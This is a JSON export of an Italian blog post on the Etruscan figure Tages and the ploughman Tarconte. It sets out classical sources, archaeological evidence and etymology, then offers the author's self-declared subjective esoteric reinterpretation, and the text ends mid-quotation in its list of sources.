{"id":2270,"date":"2024-09-30T19:38:52","date_gmt":"2024-09-30T19:38:52","guid":{"rendered":"http:\/\/www.elenafrascaodorizzi.it\/artheablog\/?p=2270"},"modified":"2026-06-10T22:08:25","modified_gmt":"2026-06-10T22:08:25","slug":"il-dio-etrusco-tages-o-tagete-tarconte-da-un-punto-di-vista-storico-e-archetipico-pagano","status":"publish","type":"post","link":"https:\/\/www.elenafrascaodorizzi.it\/artheablog\/il-dio-etrusco-tages-o-tagete-tarconte-da-un-punto-di-vista-storico-e-archetipico-pagano\/","title":{"rendered":"Il Dio Etrusco Tages (o Tagete) &#038; Tarconte da un Punto di vista Storico e Archetipico Pagano"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">di ARTHEA (Elena Frasca Odorizzi), Illustratrice e Saggista, \u00a9 Tutti i Diritti Riservati<\/p>\n\n\n<p lang=\"it-IT\"><strong>TAGES (e Tarconte)<\/strong><\/p>\n<p>L&#8217;Analisi di Tages verter\u00e0 su due campi d&#8217;interesse diversi:<\/p>\n<ol>\n<li>Tages dal punti di vista storico-archeologico<\/li>\n<li>Tages da un punto di vista archetipico ed esoterico<\/li>\n<\/ol>\n<p><strong>A) TAGES DAL PUNTI DI VISTA STORICO-ARCHEOLOGICO <\/strong><\/p>\n<p lang=\"it-IT\" align=\"JUSTIFY\"><strong>INFORMAZIONI GENERALI:<\/strong> Tages viene ricordato dalla Tradizione, come un personaggio leggendario che civilizz\u00f2 gli Etruschi rivelando loro una raccolta di norme etico-religiose, con le quali sacralizzare ogni azione della vita quotidiana. La fonte classica pi\u00f9 antica che abbiamo su Tages, \u00e8 Cicerone (I secolo a.C.), che nel suo De Divinatione (II, 23) dichiara di rifarsi direttamente ai Libri degli Etruschi. Cicerone narra che mentre un contadino stava arando la terra nel territorio di Tarquinia, fece un solco nel terreno pi\u00f9 profondo del solito (un solco normale va dai 20 ai 30 cm, uno profondo dai 40 ai 150 cm) e da questo balz\u00f2 fuori Tages, un bambino, con le conoscenze di un vecchio saggio. Alle grida meravigliate del contadino una folla di ascoltatori accorse da tutta Etruria. Questi stettero a sentire con attenzione le parole dell&#8217;essere soprannaturale e le misero per iscritto. Ci\u00f2 che Tages rivel\u00f2 era il nucleo centrale della Scienza Aruspicina, i cui principi permisero agli Etruschi di continuare a integrare e accrescere queste conoscenze.<\/p>\n<figure id=\"attachment_4930\" aria-describedby=\"caption-attachment-4930\" style=\"width: 866px\" class=\"wp-caption aligncenter\"><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-4930 size-full\" src=\"https:\/\/www.elenafrascaodorizzi.it\/artheablog\/wp-content\/uploads\/2018\/09\/immagini_te_02.jpg\" alt=\"\" width=\"866\" height=\"592\" srcset=\"https:\/\/www.elenafrascaodorizzi.it\/artheablog\/wp-content\/uploads\/2018\/09\/immagini_te_02.jpg 866w, https:\/\/www.elenafrascaodorizzi.it\/artheablog\/wp-content\/uploads\/2018\/09\/immagini_te_02-300x205.jpg 300w, https:\/\/www.elenafrascaodorizzi.it\/artheablog\/wp-content\/uploads\/2018\/09\/immagini_te_02-768x525.jpg 768w\" sizes=\"auto, (max-width: 866px) 100vw, 866px\" \/><figcaption id=\"caption-attachment-4930\" class=\"wp-caption-text\">Elaborazione artistica contemporanea (Photoshop + AI) \u00a9 Elena Odorizzi, 2025<\/figcaption><\/figure>\n<p lang=\"it-IT\" align=\"JUSTIFY\">A Tages vengono attribuiti in specifico i Libri Haruspicini, relativi alla sfera del sacrificio e alla lettura del disegno divino nelle viscere delle vittime animali, i Libri Acherontici, che riguardavano l&#8217;Oltretomba e le prescrizioni cerimoniali (sacrifici e preghiere) per il defunto, infine un&#8217;opera sul potere divinatorio dei tuoni e una sui terremoti (t\u00e0 seismotropic\u00e0). A Tages si fanno comunque risalire anche i precetti raccolti negli Ostentaria, Calendari in cui erano catalogati i Prodigi (Ostenta), i Libri Rituales, Manuali per rituali pubblici e privati, i Libri Fulgurales, summa della dottrina etrusca sui fulmini (attribuita non solo al Dio Tages, ma anche alle rivelazioni della Ninfa Vegoia) e infine i Libri Fatales, compilazioni sulle norme oscure del Fato dell&#8217;essere umano e del Destino della Nazione Etrusca.<\/p>\n<p lang=\"it-IT\" align=\"JUSTIFY\"><strong>ASPETTI SECONDARI DEL MITO di TAGES:<\/strong> Le fonti successive a Cicerone vanno dal I al VI secolo d.C. . Si tratta di autori romani, quindi non etruschi, di epoca tarda, spesso pagani convertiti al cristianesimo, che in parte integrano le informazioni di Cicerone, in parte le contraddicono o le rendono pi\u00f9 confuse.<\/p>\n<p lang=\"it-IT\" align=\"JUSTIFY\">&#8211; Ovidio (43 a.C. &#8211; 17 d.C.), poeta romano, nelle sue Metamorfosi (15, 558)ci racconta che Tages non salt\u00f2 fuori dalla Terra, ma che egli stesso era una Zolla che si mosse da sola e prese forma umana, quasi fosse la Manifestazione di uno spirito della Terra.<br>&#8211; Sesto Pomeo Festo (II d.C.), grammatico romano, nel suo Compendio del De verborum significatione di Verrio Flacco, ci dice che Tages era figlio di Genio e nipote di Giove. Questa informazione dal sapore romano, sposta la nostra attenzione sul Genius dei romani, che secondo Censorino era una sorta di spirito custode di una famiglia o di un individuo. Viene perci\u00f2 da chiedersi se Tages fosse un Genius Loci o il Genius stesso della famiglia del Contadino, dato che, come vedremo, l&#8217;identit\u00e0 di questo personaggio \u00e8 legata linguisticamente a Tages e alla citt\u00e0 di Tarquinia.<\/p>\n<p lang=\"it-IT\" align=\"JUSTIFY\">&#8211; Sempre Censorino (III sec. d.C.), grammatico romano, nel suo De Die Natali (IV, 13) ci dice che Tages rivel\u00f2 la disciplina etrusca \u00abcantando\u00bb. Questo dato porta la nostra attenzione sullo stretto legame tra la Profezia e il Canto accompagnato dalla Cetra, sacra ad Apollo e a Orfeo. Uno specchio etrusco di Bolsena, ora al British Museum, ci mostra un personaggio di nome Cacu, un Profeta in posa apollinea, nell&#8217;atto di divinare suonando la cetra, che viene sorpreso in un bosco dai famosi fratelli Vibenna di Vulci, mentre un giovinetto trascrive le sue Profezie.<\/p>\n<p lang=\"it-IT\" align=\"JUSTIFY\">&#8211; Arnobio (255 \u2013 327 d.C.), retore e apologeta convertito al cristianesimo (Arnobio 2, 69) conferma che nessuno prima di Tages osservava fulmini e lampi, convalidando la sua indiscussa autorit\u00e0 sull&#8217;Etrusca Disciplina.<\/p>\n<p lang=\"it-IT\" align=\"JUSTIFY\">&#8211; Isidoro di Siviglia (560 &#8211; 636 d.C.), funzionario bizantino dell&#8217;et\u00e0 di Giustiniano, nel suo Ethymologiae (VII, 9) ci dice, infine, che l&#8217;apparizione di Tages dur\u00f2 solo un giorno, poi mor\u00ec. Aggiunge per\u00f2 che Tages non torn\u00f2 pi\u00f9, sottintendendo che la morte coincide con la fine dell&#8217;apparizione soprannaturale.<\/p>\n<p lang=\"it-IT\" align=\"JUSTIFY\"><strong>IL CONTADINO TARCONTE: <\/strong>Non si pu\u00f2 parlare del mito di Tages, senza narrare anche la storia del Contadino a cui apparve. Fonti tarde come Giovanni Lido, ci informano che il suo nome era Tarconte ed ebbe e mantenne un rapporto preferenziale con Tages, rispetto alle altre persone che accorsero ad ascoltarlo. Con terminologia romana, nel Commento a Lucano, viene definito Flamine Diale, indicando cos\u00ec il suo rango di Sacerdote di Giove, confermato dal fatto, che generalmente sono i Sacerdoti che trascrivono le profezie. Sempre nel Commento di Lucano si legge che coloro che accorsero ad ascoltare Tages e che ne trascrissero la disciplina erano i figli dei principi delle dodici citt\u00e0\/popoli dell&#8217;Etruria (Festo). Per Censorino erano i Lucumoni stessi, i Re-Sacerdoti, che regnavano in quel momento in Etruria. Tarconte, secondo Giovanni Lido, trascrisse la Disciplina Etrusca sotto forma di Dialogo tra lui e Tages, dove il primo domanda, il secondo risponde. Nel Commento a Lucano si sottolinea che il bambino &#8220;scavato&#8221; fuori dalla terra sembrava un neonato, ma aveva i denti, quindi poteva parlare e lo faceva come un adulto. Tarconte lo sollev\u00f2 dalla terra e lo colloc\u00f2 &#8220;nei luoghi sacri&#8221; per imparare da lui le cose segrete.<\/p>\n<figure id=\"attachment_4932\" aria-describedby=\"caption-attachment-4932\" style=\"width: 833px\" class=\"wp-caption aligncenter\"><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-4932 size-full\" src=\"https:\/\/www.elenafrascaodorizzi.it\/artheablog\/wp-content\/uploads\/2018\/09\/immagini_te_03.jpg\" alt=\"\" width=\"833\" height=\"740\" srcset=\"https:\/\/www.elenafrascaodorizzi.it\/artheablog\/wp-content\/uploads\/2018\/09\/immagini_te_03.jpg 833w, https:\/\/www.elenafrascaodorizzi.it\/artheablog\/wp-content\/uploads\/2018\/09\/immagini_te_03-300x267.jpg 300w, https:\/\/www.elenafrascaodorizzi.it\/artheablog\/wp-content\/uploads\/2018\/09\/immagini_te_03-768x682.jpg 768w\" sizes=\"auto, (max-width: 833px) 100vw, 833px\" \/><figcaption id=\"caption-attachment-4932\" class=\"wp-caption-text\">Elaborazione artistica contemporanea (Photoshop + AI) \u00a9 Elena Odorizzi, 2025<\/figcaption><\/figure>\n<p lang=\"it-IT\" align=\"JUSTIFY\">Il collegamento tra Tarconte, l&#8217;Aruspicina, Tages, Tarquinia e la Lega dei Popoli Etruschi trova una conferma in due evidenze archeologiche, una del III secolo a.C. e una della prima met\u00e0 del I secolo d.C. . La prima \u00e8 uno Specchio di Tuscania, ora al Museo Archeologico di Firenze, nel quale sembra che un aruspice, chiamato Pava Tarchies, tradotto come &#8220;il piccolo Tages&#8221;, insegni l&#8217;Aruspicna a Avl Tarchunus, cio\u00e8 Tarconte e ad altri personaggi, tra cui una donna, alla presenza del dio Veltune, la divinit\u00e0 che presiedeva al Santuario federale delle 12 Citt\u00e0 Etrusche.<\/p>\n<p lang=\"it-IT\" align=\"JUSTIFY\">Un&#8217;altra testimonianza di questo legame la troviamo nel cosiddetto &#8220;Trono di Claudio&#8221;, un frammento di rilievo di pietra probabilmente di un altare, di et\u00e0 Claudia, rinvenuto a Cerveteri, che ora si trova nel Museo delle antichit\u00e0 Etrusche e Italiche a Roma. In esso si vedono tre personaggi, presumibilmente le divinit\u00e0 cittadine o i mitici fondatori, che rappresentano tre dei dodici popoli della lega etrusca. Quello che raffigura il popolo Tarquiniense, nelle sembianze di un Aruspice velato, che tiene in mano un fegato, potrebbe essere Tarconte o Tagete.<\/p>\n<p lang=\"it-IT\"><strong>IL NOME:<\/strong> Etrusco<em> Tarchies<\/em>, Latino<em> Tages<\/em>, Italiano <em>Tagete<\/em>.<\/p>\n<p style=\"text-align: justify;\">Nel Commento a Lucano si legge che Tages, \u00ab[&#8230;] poich\u00e9 nacque dalla terra fu chiamato Tagete (Tages), \u201cap\u00f2 t\u00e8s g\u00e8s\u201d che in etrusco vale &#8220;voce mandata fuori dalla terra\u201d.\u00bb. L&#8217;etimologia \u00e8 suggestiva, ma come si legge nello Specchio di Tuscania il nome originale etrusco di Tages \u00e8 Tarchies. Il Dizionario d&#8217;Aversa riporta che Tarchies, Tachunus e Tarchunie, cio\u00e8 Tarquinio, hanno tutti la stessa radice Tarc- (Chi greco) che appare diffusa soprattutto in Asia Minore. Altri studiosi partendo da queste considerazioni ipotizzano una suggestiva, ma indimostrabile connessione con il nome Tarhuna (con le varianti Taru, tarhunt, Tarhuwant, Tarhunta), nome ittita di un Dio del Cielo e della Tempesta, rappresentato in forma di animale come un Toro, fino ad arrivare a un improbabile collegamento con il nome della citt\u00e0 di Troia (Tarui-sa\/*Tarhuisa). Tarconte \u00e8 attestato dalle fonti come fratello di Tirreno e fondatore di Taquinia. Gli viene attribuita la fondazione delle dodici citt\u00e0 etrusche, per incarico del fratello, ma si pensa che questo mito servisse a rappresentare il momento in cui la citt\u00e0 di Tarquinia assunse una notevole importanza in Etruria. (Tarquinia \u00e8 anche la citt\u00e0 che dette i natali a Lucio Tarquinio, il quinto Re di Roma.)<br><span lang=\"it-IT\"><br><strong>SIMBOLI, OGGETTI, ATTRIBUTI:<\/strong> <\/span>Attributi di Tages non sono conosciuti. Le fonti non descrivono nessun oggetto da lui posseduto. Dalle fonti iconografiche possono essere considerati oggetti o simboli attribuibili a Tages: il Cappello a punta da Aruspice e il Lapis Auguralis, al quale si appoggiavano gli Aruspici come mezzo di connessione con la Terra e il Cielo.<\/p>\n<p style=\"text-align: justify;\"><strong>EPITETO<\/strong>: L&#8217;unico possibile epiteto conosciuto per Tarchies, se tale si pu\u00f2 considerare, \u00e8 Pava, cio\u00e8 il \u201cFanciullo\u201d.<\/p>\n<p style=\"text-align: justify;\"><strong>DIVINIT\u00c1 ASSOCIATE<\/strong>: Secondo Giovanni Lido presso i greci Tages era equiparato a Hermes ctonio. \u00abQuesto bambino dunque era Tagete, che presso i Greci \u00e8 anche Hermes ctonio, come in un luogo afferma anche Proclo Diadoco.\u00bb<\/p>\n<p><strong>TAGES DA UN PUNTO DI VISTA ARCHETIPICO ED ESOTERICO<\/strong><\/p>\n<blockquote>\n<p style=\"text-align: justify;\"><span lang=\"it-IT\"><strong>NOTA<\/strong>: da questo punto ogni informazione rientra nel campo della rielaborazione personale, soggettiva, da un punto di vista esoterico che si ispira alle fonti originarie, ma non le rispecchia pi\u00f9 storicamente. Considerando il collegamento tra Tages e la pratica dell&#8217;Aruspicina \u00e8 bene precisare e ricordare che tutto ci\u00f2 che rientra nel campo della pi\u00f9 Pura Spiritualit\u00e0 non ha niente a che vedere con i sacrifici di animali e i sistemi di divinazione cruenta, <\/span><span lang=\"it-IT\">atteggiamento, tra l&#8217;altro, gi\u00e0 condiviso dalla ultimi profeti e filosofi del mondo antico, quali i Pitagorici, Apollonio di Tiana e Porfirio<\/span><span lang=\"it-IT\">, con il suo de Abstinentia carnium. In questa sezione, dunque, non sar\u00e0 preso in considerazione nessun rituale o sistema di divinazione cruento. <\/span><\/p>\n<\/blockquote>\n<p>&nbsp;<\/p>\n<p><strong><span lang=\"it-IT\">SFERA di INFLUENZA DI TAGES:<\/span><\/strong><span lang=\"it-IT\"> Tages \u00e8 una figura archetipica la cui missione \u00e8 quella di insegnare agli Esseri Umani come comunicare con gli D\u00e8i. <\/span><\/p>\n<p>In termini Psicologici ed Esoterici ha quindi a che fare con:<\/p>\n<ul>\n<li>la comunicazione con gli Dei dentro e fuori di noi:<\/li>\n<\/ul>\n<ol>\n<li style=\"text-align: justify;\"><span lang=\"it-IT\">da una parte la meditazione stimolata da immagini simboliche e archetipiche, quindi l&#8217;introspezione, la ricerca e la lettura dei segnali c<\/span><span lang=\"it-IT\">he la nostra Anima ci invia attraverso sensazioni, immagini e sogni da interpretare, seguita dalla trascrizione di ci\u00f2 che il nostro Maestro Interiore ci ha rivelato. <\/span><\/li>\n<li style=\"text-align: justify;\"><span lang=\"it-IT\">dall&#8217;altra la necessit\u00e0 di cogliere anche i segnali intorno a noi sforzandoci di aumentare le nostre conoscenze e le nostre capacit\u00e0 mentali e sensoriali, ponendo attenzione a tutte quelle cose che normalmente ci sfuggono;<\/span><\/li>\n<\/ol>\n<ul>\n<li style=\"text-align: justify;\"><span lang=\"it-IT\">tutto ci\u00f2 che pu\u00f2 essere utile a mantenere o ristabilire la <\/span><span lang=\"it-IT\">Pax Deorum<\/span><span lang=\"it-IT\"> dentro di noi, cio\u00e8 l&#8217;equilibrio mentale, spirituale ed energetico della persona.<\/span><\/li>\n<li style=\"text-align: justify;\">la realizzazione di Libri riguardanti la Comprensione delle Cose derivata dalla Conoscenza Superiore;<\/li>\n<li><span lang=\"it-IT\">la <\/span><span lang=\"it-IT\">Divinazione pura e semplice attraverso qualsiasi sistema divinatorio ci sia congeniale, ad eccezione ovviamente (come gi\u00e0 detto) dei sistemi cruenti.<\/span><\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><strong><span lang=\"it-IT\">Strumenti Rituali di Tages<\/span><\/strong><span lang=\"it-IT\">: \u00e8 interessante notare che alcuni strumenti, indumenti e oggetti che possono essere attribuiti a Tages (e agli Aruspici), corrispondo a strumenti magici fondamentali usati nel campo della Magia e della Stregoneria.<\/span><\/p>\n<p style=\"text-align: justify;\">&#8211; <strong><span lang=\"it-IT\">Il <\/span><span lang=\"it-IT\">Cappello da Strega<\/span><\/strong><span lang=\"it-IT\"> che protegge da influenze negative e ci connette con le energie cosmiche \u00e8 simile al Cappello sacerdotale a punta degli Aruspici.<\/span><\/p>\n<p style=\"text-align: justify;\">&#8211; <strong>I<\/strong><span lang=\"it-IT\"><strong>l coltello da lavoro<\/strong> per tagliare, pulire, incidere, mescolare, ecc., ricorda il Coltello sacrificale dell&#8217;Aruspice Chalchas, indovino etrusco che appare su uno Specchio etrusco.<br><\/span><br>&#8211;<strong> <span lang=\"it-IT\">La Bacchetta <\/span><\/strong><span lang=\"it-IT\">per tracciare le direzioni ricorda il Lituus sacerdotale, il bastone di legno privo di nodi, ricurvo in cima, usato per delimitare il<\/span><span lang=\"it-IT\"> Templum etrusco<\/span><span lang=\"it-IT\">, cio\u00e8 il perimetro dello spazio sacro, entro il quale si compiono i lavori sacri e si prendono gli auspici.<br><\/span><br>&#8211; <span lang=\"it-IT\"><strong>La<\/strong> Spada\/Pugnale che chiama, dirige e bandisce le Energie \u00e8 l&#8217;Aratro di Tarconte che libera Tages aprendo e chiudendo la Terra. (Volendo si pu\u00f2 usare il Lituus anche come Athame.)<br><\/span><br>&#8211; <span lang=\"it-IT\"><strong>le Sortes Cleromantiche<\/strong> antiche sono l&#8217;equivalente di qualsiasi <\/span><span lang=\"it-IT\">strumento divinatorio antico e moderno<\/span><\/p>\n<p style=\"text-align: justify;\">&#8211; <strong><span lang=\"it-IT\">I Libri delle Ombre<\/span><\/strong><span lang=\"it-IT\"> o altri <\/span><span lang=\"it-IT\">Libri Esoterici<\/span><span lang=\"it-IT\"> dove si trascrive la Conoscenza interiore ed esteriore ricordano i Libri Sacri Etruschi in cui erano trascritti rituali e conoscenze.<\/span><\/p>\n<p style=\"text-align: justify;\"><span lang=\"it-IT\"><strong>Celebrazione Annuale<\/strong>:<\/span><span lang=\"it-IT\"> Non \u00e8 conosciuta nessuna Festa di Tages. Per il legame con la Terra e il suo Sottosuolo Tages sembra trovarsi a cavallo tra le Divinit\u00e0 Terrestri e le Divinit\u00e0 Infere. Egli stesso appare come una Divinit\u00e0 dalla doppia natura: giovane e vecchio, intermediario tra gli D\u00e8i e gli Esseri Umani, nello stesso giorno emerge dalla Terra e vi torna. Contemporaneamente non ha attributi riferibili alle divinit\u00e0 agresti, ma neanche attivit\u00e0 che si svolgono nell&#8217;oltretomba, in quanto ha relazioni con i Vivi e non con i Morti, anche se ha dettato i precetti che riguardano la vita nell&#8217;aldil\u00e0. Appare durante l&#8217;Aratura dei campi, che per i Cereali avviene tra la fine dell&#8217;estate e l&#8217;inizio dell&#8217;autunno, poco prima della Semina che, invece, si effettua tra ottobre e novembre.<\/span><\/p>\n<p style=\"text-align: justify;\"><span lang=\"it-IT\"><strong>Colori di Tages<\/strong>:<\/span><span lang=\"it-IT\"> Tutti i colori della Terra dei Campi: dal Caolino ai Marroni aranciati alle Terre d&#8217;Ombra , fino al Nero.<\/span><\/p>\n<p style=\"text-align: justify;\"><span lang=\"it-IT\"><strong>Incensi e Pietre di Tages<\/strong>: <\/span><span lang=\"it-IT\">tutti quegli Incensi che purificano l&#8217;ambiente e le energie, stimolano la meditazione, la chiarezza di pensiero, esaltano l&#8217;intelligenza e favoriscono le Facolt\u00e0 \u201cDivinatorie\u201d. Se possibile sarebbe meglio usare profumi e aromi legati ai Boschi e alle Terre dell&#8217;Etruria.<\/span><\/p>\n<p style=\"text-align: justify;\"><span lang=\"it-IT\"><strong>Musica per la MEDITAZIONE<\/strong>: <\/span><span lang=\"it-IT\">Tutte le <\/span><span lang=\"it-IT\">Musiche che rilassano e concentrano la mente, sintonizzandola, ma anche quelle che favoriscono le percezioni sensazioni extrasensoriali.<br><\/span><\/p>\n<p style=\"text-align: justify;\"><span lang=\"it-IT\">Ognuno ha i suoi gusti e la sua sensibilit\u00e0 riguardo alla scelta delle sonorit\u00e0 pi\u00f9 adatte.<\/span><\/p>\n<p style=\"text-align: justify;\">P.S: Per entrare in armonia con gli Etruschi e il Mondo Antico si possono comunque usare anche Musiche create utilizzando gli antichi Strumenti Etruschi <a href=\"http:\/\/www.soundcenter.it\/cdflauti.htm\">http:\/\/www.soundcenter.it\/cdflauti.htm<\/a> oppure dell&#8217;Antica Roma <a href=\"http:\/\/www.soundcenter.it\/anticaroma.htm\">http:\/\/www.soundcenter.it\/anticaroma.htm<\/a>.<\/p>\n<p style=\"text-align: justify;\"><span lang=\"it-IT\">Corrispondenza Terrestre e Celeste: <\/span><span lang=\"it-IT\">Non ci sono riferimenti a Tages sul Fegato di Piacenza. Essendo una Divinit\u00e0 del Sottosuolo, che si presenta a fine estate, poco prima della Semina e dell&#8217;equinozio di Autunno, Tages si trova nelle <\/span><span lang=\"it-IT\">Regiones Maximae Dirae <\/span><span lang=\"it-IT\">abitate probabilmente delle Divinit\u00e0 Infernali, che iniziano al Solstizio d&#8217;Estate e finiscono all&#8217;Equinozio di Autunno.<\/span><\/p>\n<p style=\"text-align: justify;\"><span lang=\"it-IT\">Questa Regione \u00e8 considerata la meno favorevole, perch\u00e9 coincide con l&#8217;arsura estiva e la fine del ciclo vegetale del grano, che la collegano con il mondo dei morti. <\/span><\/p>\n<p style=\"text-align: justify;\"><span lang=\"it-IT\"><em>Nell&#8217;Orientamento Terrestre<\/em> questa Regione corrisponde all&#8217;Estate e alla direzione Sud-Ovest. <em>Nell&#8217;Orientamento Celeste<\/em>, corrisponde sempre all&#8217;Estate, ma alla direzione Nord-Ovest. <\/span><\/p>\n<p style=\"text-align: justify;\"><span lang=\"it-IT\"><strong>Rappresentazioni devozionali simboliche, alternative a statue e immagini<\/strong>:<\/span><span lang=\"it-IT\"> una Zolla di Terra, il <\/span><span lang=\"it-IT\">Templum Etrusco<\/span><span lang=\"it-IT\">.<\/span><\/p>\n<p style=\"text-align: right;\">di ARTHEA (Elena Frasca Odorizzi), Illustratrice e Saggista, \u00a9 Tutti i Diritti Riservati<\/p>\n<div style=\"text-align: justify;\"><hr><\/div>\n<p><strong><span lang=\"it-IT\">Fonti Storiche<\/span><span lang=\"it-IT\">:<\/span><\/strong><\/p>\n<ol>\n<li style=\"text-align: justify;\">Dizionario illustrato della civilt\u00e0 Etrusca,a cura di Mauro Cristofani, Firenze, Giunti, 1985<\/li>\n<li style=\"text-align: justify;\">Etruschi, una nuova immagine, a cura di Mario Cristofani, Firenze, Giunti, 2000<\/li>\n<li style=\"text-align: justify;\">Etruschi, a cura di Davide Locatelli e fulvia rossi, Dizionari della Civilt\u00e0, Verona, Electa, 2009<\/li>\n<\/ol>\n<p><strong>Saggi:<\/strong><\/p>\n<ol>\n<li style=\"text-align: justify;\">A. Palmucci, La figura di Tarconte: un ponte mitostorico fra Tarquinia e Troia, in Anatolisch und Indogermanisch (Anatolico ed Indoeuropeo), Acten des Kolloquiums der Indogermanischen Gesellschaft, Pavia 22-25 Settembre 1998 (Universit\u00e0 degli Studi di Pavia, dipartimento Scienze dell\u2019Antichit\u00e0), Innsbruck, 2001, pp. 341-353.<\/li>\n<\/ol>\n<p><strong><span lang=\"it-IT\">Reperti e Fonti Iconografiche<\/span><span lang=\"it-IT\">:<\/span><\/strong><\/p>\n<ol>\n<li style=\"text-align: justify;\">Nascita di Tages con Tarconte su Scarabeo in corniola, IV-III a.C., Roma, Museo Nazionale Etrusco di Villa Giulia.<\/li>\n<li style=\"text-align: justify;\">Indovino Cacu su Specchio di Bolesna, ora al British Museum. Testo di riferimento, Adriano Maggiani, Gli Etruschi e il Sacro in Hintial \u2013 Il Sacro in terra d\u2019Etruria, Atti del Convegno promosso dalla Quinta Commissione consiliare \u201cAttivit\u00e0 culturali e Turismo\u201d del Consiglio regionale della Toscana Villa \u201cLa Mausolea\u201d, Soci (Ar), 17 ottobre 2009.<\/li>\n<li style=\"text-align: justify;\">Il \u00abTrono di Claudio\u00bb, un frammento di rilievo di pietra probabilmente di un altare, di et\u00e0 Claudia, rinvenuto a Cerveteri, che ora si trova nel Museo delle antichit\u00e0 Etrusche e Italiche a Roma;<\/li>\n<li style=\"text-align: justify;\">Pavatarchies in Specchio di Cortona ora al Museo Archeologici di Firenze. Testo di riferimento: Massimo Pallottino, Uno Specchio di Tuscania e la Leggenda Etrusca di Tarchon, Rendiconti della R. Acc. dei Lincei, Roma, 1930.<\/li>\n<li style=\"text-align: justify;\">Aruspice che guarda il Fegato su Lapis Auguralis, in una placca bronzea, 400-375 a.C., Museo Allan Pierson di Amsterdam.<\/li>\n<li style=\"text-align: justify;\">Aruspice che guarda il Cielo su Lapis Auguralis, in una placca bronzea del V sec. a.C., Museo Allard Pierson di Amsterdam Esistono due placche quasi identiche anche al Museo Archeologico Nazionale Gaio Cilnio Mecenate di Arezzo.<\/li>\n<li style=\"text-align: justify;\">Dettaglio di Aruspice con Lituus dall&#8217;affresco della Tomba degli auguri di Tarquinia.<\/li>\n<li style=\"text-align: justify;\"><span lang=\"it-IT\">Statuetta di Aruspice in bronzo, IV sec. a.C., <\/span><span lang=\"it-IT\">Roma, Museo Gregoriano Etrusco,Palazzi Vaticani.<\/span><\/li>\n<li style=\"text-align: justify;\">Aruspice Chalchas che esamina un fegato, con le sembianze di un vecchio genio alato, su specchio etrusco del V sec. a. C., Museo Gregoriano Etrusco. Roma, Palazzi vaticani;<\/li>\n<\/ol>\n<p><strong> FONTI CLASSICHE:<\/strong><\/p>\n<ol>\n<li lang=\"it-IT\" style=\"text-align: justify;\">Cicerone, (106 a.C. &#8211; 43 a.C.), De Divinatione, II, 23 \u00abVediamo l&#8217;origine dell&#8217;aruspic\u00ecna; cos\u00ec giudicheremo nel modo pi\u00f9 facile quale autorit\u00e0 essa abbia. Si dice che un contadino, mentre arava la terra nel territorio di Tarquinia, fece un solco pi\u00f9 profondo del solito; da esso balz\u00f2 su all&#8217;improvviso, un certo Tagete e rivolse la parola all&#8217;aratore. Questo Tagete, a quanto si legge nei libri degli etruschi, aveva l&#8217;aspetto di un bambino, ma il senno di un vecchio. Essendo rimasto stupito da questa apparizione il contadino, e avendo levato un alto grido di meraviglia, accorse molta gente, e in poco tempo tutta l&#8217;Etruria si radun\u00f2 col\u00e0. Allora Tagete parl\u00f2 a lungo dinanzi alla folla degli ascoltatori, i quali stettero a sentire con attenzione tutte le sue parole e le misero poi per iscritto. L&#8217;intero suo discorso fu quello in cui era contenuta la scienza dell&#8217;aruspic\u00ecna; essa poi si accrebbe con la conoscenza di altre cose che furono ricondotte a quegli stessi principi. Ci\u00f2 abbiamo appreso dagli etruschi stessi, quegli scritti essi conservano, quelli considerano come la fonte della loro dottrina.\u00bb<\/li>\n<li lang=\"it-IT\" style=\"text-align: justify;\">Ovidio, (43 a.C. &#8211; 17 d.C.) Metamorfosi, 15, 558 \u00abQuel prodigio impression\u00f2 le ninfe, e lo stesso figlio dell&#8217;Amazzone rimase stupito, come quell&#8217;etrusco che arando vide fra i campi una zolla portentosa prima muoversi da sola, senza che alcuno la spostasse, poi assumere forma d&#8217;uomo, perdendo quella di zolla, e schiudere le labbra appena nate per rivelare il destino: gli indigeni lo chiamarono Tagete e fu il primo ad insegnare il modo di prevedere il futuro alla gente d&#8217;Etruria.\u00bb<\/li>\n<li lang=\"it-IT\" style=\"text-align: justify;\">Festo, (II d.C.), Compendio del De verborum significatione di Verrio Flacco, s.v. Tages, \u00abSi chiama Tagete il figlio di Genio e nipote di Giove. Si dice che da fanciullo diede l&#8217;insegnamento dell&#8217;aruspicina ai dodici popoli dell\u2019Etruria.\u00bb<\/li>\n<li lang=\"it-IT\" style=\"text-align: justify;\">Censorino, (III sec. d.C.), De Die Natali, IV, 13 \u00ab [&#8230;] Dicono che nel territorio di Tarquinia, mentre si arava, sia stato tratto fuori dalla terra un fanciullo divino di nome Tagete il quale cant\u00f2 la disciplina aruspicina che i lucumoni regnanti allora in Etruria scrissero accuratamente.\u00bb<\/li>\n<li lang=\"it-IT\" style=\"text-align: justify;\">Ammiano Marcellino, (IV sec. d.C.), XXIII, 5,10.<\/li>\n<li lang=\"it-IT\" style=\"text-align: justify;\">Giovanni Lido, (490 d.C. &#8211; 557 d.C.) De ostentis, II, 6, B., \u00abDice, dunque, Tarconte in questo scritto (che alcuni pensano sia di Tagete, poich\u00e9 l\u00ec, come in una specie di dialogo, Tarconte domanda e Tagete risponde &#8230;), che un tempo, mentre lavorava la terra, gli capit\u00f2 un fatto meraviglioso, tale che non aveva mai udito che fosse accaduto a nessuno in nessun tempo. Dal solco usc\u00ec un bambino che sembrava neonato, non privo, per\u00f2, di denti e di altri segni dell&#8217;et\u00e0 matura. Questo bambino dunque era Tagete, che presso i Greci \u00e8 anche Hermes ctonio, come in un luogo afferma anche Proclo Diadoco\u2026 Tarconte, dunque, il pi\u00f9 antico, poich\u00e9 vi fu anche il recente che guerreggi\u00f2 ai tempi di Enea, sollevato il bambino e collocatolo nei luoghi sacri, pens\u00f2 di imparare da lui qualcosa sulle cose segrete. Ottenuto poi ci\u00f2 che aveva chiesto, compose un libro delle cose trattate, nel quale Tarconte interroga nella lingua comune degli Itali e Tagete risponde attenendosi alle lettere antiche e poco comprensibili a noi.\u00bb<\/li>\n<li lang=\"it-IT\" style=\"text-align: justify;\">Isidoro di Siviglia, (560 d.C. &#8211; 636 d.C.) Ethymologiae, VII, 9. \u00abDicono che l&#8217;arte dell&#8217;aruspicina sia stata tramandata agli Etruschi da un certo Tagete. Questi dett\u00f2 anche l&#8217;aruspicina&#8230; e poi non apparve pi\u00f9 &#8230;. Poich\u00e9 si dice favolosamente che mentre un contadino arava, subito costui salt\u00f2 fuori dalle zolle, dett\u00f2 l&#8217;aruspicina e nello stesso 